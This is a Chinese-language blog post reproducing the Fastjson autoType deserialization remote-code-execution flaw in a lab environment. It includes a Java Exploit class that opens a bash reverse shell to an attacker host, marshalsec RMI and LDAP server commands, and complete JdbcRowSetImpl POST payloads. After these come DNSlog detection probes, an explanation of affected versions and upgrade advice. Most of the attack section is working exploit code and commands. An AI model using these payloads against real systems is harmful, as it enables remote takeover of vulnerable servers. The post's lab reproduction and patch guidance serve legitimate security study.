首页 > 其他分享 >Fastjson漏洞+复现

Fastjson漏洞+复现

时间:2022-12-03 12:34:44浏览次数:49  
标签:Fastjson fastjson 0.105 java 漏洞 Exploit 复现 zh

1.漏洞介绍

​​FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。

攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

2.漏洞复现

(1)首先使用docker起一个fastjson反序列化漏洞环境:

(2)访问环境页面如下:

(3)RMI利用方式,先编写好攻击脚本,反弹shell到kali上:

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.0.105/8888 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

(4)接着使用javac将其进行编译,命令:

javac Exploit.java

(5)然后多出一个.class的文件:

(6)把编译好的文件放在kali上,并在kali开启一个简单的HTTP服务,利用python3,命令:

python3 -m http.server 8080

(7)接着使用marshalsec项目,启动RMI服务,监听8001端口并加载远程类Exploit.class,命令:

https://github.com/RandomRobbieBF/marshalsec-jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.105:8080/#Exploit" 8001

(8)然后在kali上开启监听8888端口

(9)开始攻击,payload如下,注意是以POST方式提交:

POST / HTTP/1.1
Host: 192.168.0.105:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
    "naraku":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.105:8001/Exploit",
        "autoCommit":true
    }
}

(10)成功,反弹shell

(11)LDAP利用方式

前面大致过程相同,唯一变化的地方在于使用marshalsec项目,启动LDAP服务,监听8002端口并加载远程类Exploit.class,命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.0.105:8080/#Exploit" 8002

(12)在kali端依然监听8888端口,在burp端发起payload,payload如下,依旧注意是POST请求:

POST / HTTP/1.1
Host: 192.168.0.105:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
    "naraku":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.0.105:8002/Exploit",
        "autoCommit":true
    }
}

(13)成功,反弹shell

3.漏洞检测

(1)抓包的时候刚好看到它发送了json的数据

(2)判断是不是fastjson,用一个非法格式,可能会报错,看报错信息 ,反序列化这个类,看平台能不能接收到数据)

(3)GitHub里搜索fastjson插件,只要流量经过了bp,就能自动探测
方法一:利用 java.net.Inet [4 | 6] 地址

{"@type":"java.net.Inet4Address","val":"in0i3v.ceye.io"} 
{"@type":"java.net.Inet6Address","val":"in0i3v.ceye.io"}

方法二:利用 java.net.InetSocketAddress

{"@type":"java.net.InetSocketAddress"{"address":,"val":"in0i3v.ceye.io"}}

方法三:利用 java.net.URL

{{"@type":"java.net.URL","val":"http://in0i3v.ceye.io"}:"x"}

4.漏洞产生原因

反序列化之后的数据本来是没有危害的,但是用户使用可控数据是有危害的

漏洞信息:

Fastjson 1.2.24 反序列化导致任意命令执行漏洞:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。影响版本fastjson <= 1.2.24。

Fastjson 1.2.47 远程命令执行漏洞:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。影响版本fastjson <1.2.48。

5.漏洞修复

1. fastjson 版本至少升级到 1.2.58。

2.及时升级Java环境版本

标签:Fastjson,fastjson,0.105,java,漏洞,Exploit,复现,zh
From: https://www.cnblogs.com/AffectedFish/p/16947318.html

相关文章